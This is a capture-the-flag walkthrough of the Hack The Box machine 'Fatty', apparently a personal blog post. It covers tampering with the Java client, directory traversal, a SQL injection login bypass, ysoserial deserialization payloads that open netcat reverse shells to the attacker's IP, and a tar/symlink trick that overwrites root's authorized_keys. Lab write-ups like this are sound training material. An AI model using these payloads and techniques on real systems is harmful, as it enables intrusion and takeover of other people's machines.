Details
This machine is Fatty from Hack The Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.10.174
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 20:37 GMT
Nmap scan report for 10.10.10.174
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
1337/tcp open ssl/waste?
1338/tcp open ssl/wmc-log-svc?
1339/tcp open ssl/kjtsiteserver?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.63 seconds
User
I connected to ftp
kali@kali:~$ ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtc's development server
# Name (10.10.10.174:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Oct 30 12:10 .
drwxr-xr-x 2 ftp ftp 4096 Oct 30 12:10 ..
-rw-r--r-- 1 ftp ftp 15426727 Oct 30 12:10 fatty-client.jar
-rw-r--r-- 1 ftp ftp 526 Oct 30 12:10 note.txt
-rw-r--r-- 1 ftp ftp 426 Oct 30 12:10 note2.txt
-rw-r--r-- 1 ftp ftp 194 Oct 30 12:10 note3.txt
226 Directory send OK.
I'll download the lot
ftp> get fatty-client.jar
local: fatty-client.jar remote: fatty-client.jar
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for fatty-client.jar (15426727 bytes).
226 Transfer complete.
15426727 bytes received in 1.51 secs (9.7692 MB/s)
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (526 bytes).
226 Transfer complete.
526 bytes received in 0.00 secs (1.0788 MB/s)
ftp> get note2.txt
local: note2.txt remote: note2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note2.txt (426 bytes).
226 Transfer complete.
426 bytes received in 0.00 secs (759.1526 kB/s)
ftp> get note3.txt
local: note3.txt remote: note3.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note3.txt (194 bytes).
226 Transfer complete.
194 bytes received in 0.00 secs (424.7828 kB/s)
And took a look at them
kali@kali:~$ cat note.txt
Dear members,
because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337.
Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice
if you use different servers from day to day to balance the server load.
We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of
doing it yourself ;)
Best regards,
qtc
kali@kali:~$ cat note2.txt
Dear members,
we are currently experimenting with new java layouts. The new client uses a static layout. If your
are using a tiling window manager or only have a limited screen size, try to resize the client window
until you see the login from.
Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11
per default, you may need to install it manually.
Best regards,
qtc
kali@kali:~$ cat note3.txt
Dear members,
We had to remove all other user accounts because of some seucrity issues.
Until we have fixed these issues, you can use my account:
User: qtc
Pass: clarabibi
Best regards,
qtc
So I likely need to modify this jar file, to connect to a server on port 1338/1339. I need to use java 8 and I have some initial creds. So I installed JDK 8 and opened the jar in JD-GUI, where I found the port is set via a file called beans.xml
I also added server.fatty.htb to hosts. Then extracted the file I wanted to edit
kali@kali:~$ 7z e fatty-client.jar beans.xml
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 9 3900X 12-Core Processor (870F10),ASM,AES-NI)
Scanning the drive for archives:
1 file, 15426727 bytes (15 MiB)
Extracting archive: fatty-client.jar
--
Path = fatty-client.jar
Type = zip
Physical Size = 15426727
Everything is Ok
Size: 1550
Compressed: 15426727
I then modified the port to 1338 and put the file back in
kali@kali:~$ 7z u fatty-client.jar beans.xml
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 9 3900X 12-Core Processor (870F10),ASM,AES-NI)
Open archive: fatty-client.jar
--
Path = fatty-client.jar
Type = zip
Physical Size = 15426727
Scanning the drive:
1 file, 1550 bytes (2 KiB)
Updating archive: fatty-client.jar
Items to compress: 1
Files read from disk: 1
Archive size: 15425746 bytes (15 MiB)
Everything is Ok
I then tried to run it and use the creds provided
kali@kali:~$ java -jar ./fatty-client.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
But I got
Exception in thread "AWT-EventQueue-1" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml
So I need to resign the jar. First wiping away the old sigs
kali@kali:~$ zip -d fatty-client.jar 'META-INF/.SF' 'META-INF/.RSA' 'META-INF/*SF'
zip warning: name not matched: META-INF/.SF
zip warning: name not matched: META-INF/.RSA
deleting: META-INF/FATTY.SF
deleting: META-INF/1.SF
Then signing it again myself
kali@kali:~$ keytool -genkey -alias fatty -validity 365
kali@kali:~$ jarsigner fatty-client.jar fatty
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter Passphrase for keystore:
jar signed.
Now when I ran it I could login
There were various options at the top, some were greyed out, first Profile -> whoami
Next FileBrowser -> configs
Thirdly FileBrowser -> notes
Then FileBrowser -> mail
Next ConnectionTest -> ping
Then Help -> Contact
Finally Help -> About
I then tried clicking open at the bottom
So I tried entering one of the files in the browser
I had a look at the various files, security.txt
That is a good sign for me, shopping.txt
Weird there is more than one 1, schedule.txt
report.txt
Okay so it sounds like it could have some major vulns, dave.txt
So all the admins are gone, but the login form may be vulnerable to SQL injection. mom.txt
That's sweet. I decided to see if I could download a copy of the server using "server.jar" in the open form
At this point I was happy with what I had seen in the client and went back to the code. I found a file called AccessCheck.class which seemed to define the access commands
This led to some considerations, such as adding a new command, or modifying it to always allow. I also found the role stuff in Role.class
I found the actual commands were defined in Invoker.class, and the buttons are in ClientGuiTest.class
Next I found the code for file display
So I had a few ideas for what I wanted to modify, but I didn't want to change too much in one go so it would be easier to track down any bugs I caused. I ended up modifying 2 classes
Role.class
- Update the user role to contain numbers 1..12, the same as admin
ClientGuiTest.class
- Change line 238 to look for the user role
- Remove line 447 to un-restrict strings in open
- Add new copy of lines 412...434 to display a directory traversal button
I then rebuilt and resigned the program. My new version had all commands enabled, but when I tried to use them
There seemed to be server side protections too. But the directory traversal button worked
I tried to use it to download the server, and it kind of froze. But it could be a java thread thing so I left it to it. While it was going I began to modify Role in case the access denied was not server side
But when I tried this, again no luck. So I modified AccessCheck instead
At this point I was fairly confident that it was a server side error, but for one last test I changed the text on the local one in Invoker
Which gave
The message didn't change so I was happy it was a server side error. I then modified the menu in the gui class to improve the directory traversal
Which in the app looked like
At this point I was able to make it download the server file
So I modified the sendAndRecv function in the Invoker to save things to a file, this required some additional imports
Which resulted in the following code
I then ran this version and used it to download the server, the logs gave
Saving to file
Saved to 2315
I renamed this file server.jar, and opened it in JD-GUI as well
I found a potential exploit in the changePW function of Invoker
It takes a user object from the client and deserializes it. So I used yososerial to make an exploit
kali@kali:~$ java -jar ./ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc 10.10.14.27 4444 -e /bin/bash' > ./payloads/payload1
And modified the change password function on the client to send it in Invoker
And in the clientGuiTest, I added a button to trigger this
The next issue is only admins are allowed to use the changePW function. I found the previously mentioned SQL injection protections in the server under FattyDbSession
So there are no protections, it just sleeps for a few seconds. As it takes the user details from the query, I can use an SQL injection to make myself the admin by setting my username to
' UNION SELECT id,username,email,password,'admin' FROM users WHERE username='qtc
As it will select the string "admin" in place of role. But when I tried this it turned out not to work, as the hash being sent of password was wrong. But this was client side, so I changed it to always be
5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046
Which is the hash of the qtc user, (the code uses sha256(username+password+string)
for hashes which is why it was wrong). I also re modified the UI to let admins use buttons as I should be one now
Then finally I logged in as
username: ' UNION SELECT id,username,email,password,'admin' FROM users WHERE username='qtc
password: anypass
And did the whoami
I am an admin, so I tried the users command I couldn't use before to test it
I set a listener
kali@kali:~$ nc -nlvp 4444
And clicked my shell it button
No luck yet, but I tried replacing the yososerial payload
kali@kali:~$ sudo java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nc 10.10.14.27 4444' > ./payload1
Which when the button was pressed
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.174] 40087
It worked, so I generated a new payload for a shell
kali@kali:~$ sudo java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nc 10.10.14.27 4444 -e /bin/sh' > ./payload1
Finally I clicked shell it, and
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.174] 42291
$ id
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)
I had a shell
$ ls -la
total 16
drwxr-sr-x 1 qtc qtc 4096 Oct 30 11:11 .
drwxr-xr-x 1 root root 4096 Oct 30 11:11 ..
drwx------ 1 qtc qtc 4096 Oct 30 11:11 .ssh
---------- 1 qtc qtc 33 Oct 30 11:10 user.txt
For some reason the user flag isn't readable, but I just changed that
$ chmod 600 user.txt
$ cat user.txt
[REDACTED]
And that was user
Root
It quickly became clear I was in a docker container and using pspy64 I saw the following happening about every minute
2020/02/28 15:41:01 CMD: UID=0 PID=989 | /usr/sbin/sshd -R
2020/02/28 15:41:01 CMD: UID=22 PID=990 | sshd: [net]
2020/02/28 15:41:01 CMD: UID=0 PID=991 | sshd: qtc [priv]
2020/02/28 15:41:01 CMD: UID=1000 PID=992 | scp -f /opt/fatty/tar/logs.tar
So I took a look at it
$ cd /opt/fatty/tar
$ ls -la
total 148
drwxr-xr-x 1 qtc qtc 4096 Feb 28 13:00 .
drwxr-xr-x 1 root root 4096 Oct 30 11:11 ..
-rw-r--r-- 1 qtc qtc 142848 Feb 28 15:00 logs.tar
At this point I tried various things involving tar files and I must admit someone gave me a nudge in the right direction. The idea was, if they are exfiling the tar then extracting it I can carry out a 2 stage attack, in the first stage I create a real tar file containing a symlink called logs.tar
to /root/.ssh/authorized_keys
. Once this has been taken and extracted, I then create a file called logs.tar
which contains my public key (not a tar file, just called it) which when it is taken by scp, will follow the symlink and overwrite the root authorized_keys
file
First I setup both logs.tar
files to make it easier to react in time
$ ln -s /root/.ssh/authorized_keys logs.tar
$ tar cf temp.tar logs.tar
$ mv temp.tar /tmp/p1/logs.tar
$ echo "[PUB KEY]" > /tmp/p2/logs.tar
Then copied stage 1
$ cp /tmp/p1/logs.tar /opt/fatty/tar/logs.tar 2>&1
I then waited until I saw the scp in pspy after which I ran
$ cp /tmp/p2/logs.tar /opt/fatty/tar/logs.tar 2>&1
When I next saw the scp in pspy I tested ssh to see if it had worked
kali@kali:~$ ssh root@10.10.10.174 -i ~/Documents/fatty/id_rsa
Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 29 12:31:22 2020
root@fatty:~#
I had root
root@fatty:~# id
uid=0(root) gid=0(root) groups=0(root)
root@fatty:~# ls -la
total 56
drwx------ 9 root root 4096 Feb 28 19:20 .
drwxr-xr-x 22 root root 4096 Jan 10 12:18 ..
lrwxrwxrwx 1 root root 9 Oct 30 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 Oct 30 12:10 .cache
drwxr-xr-x 4 root root 4096 Feb 28 19:20 client1
drwxr-xr-x 4 root root 4096 Feb 28 19:20 client2
drwxr-xr-x 4 root root 4096 Feb 28 19:20 client3
-rw-r--r-- 1 root root 274 Feb 28 19:20 log-puller.log
-rwxr-xr-x 1 root root 2224 Oct 30 12:10 log-puller.sh
drwxr-xr-x 3 root root 4096 Oct 30 12:10 .m2
drwxr-xr-x 2 root root 4096 Jan 10 12:00 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 33 Oct 30 12:10 root.txt
drwxr-xr-x 2 root root 4096 Oct 30 12:12 .ssh
root@fatty:~# cat root.txt
[REDACTED]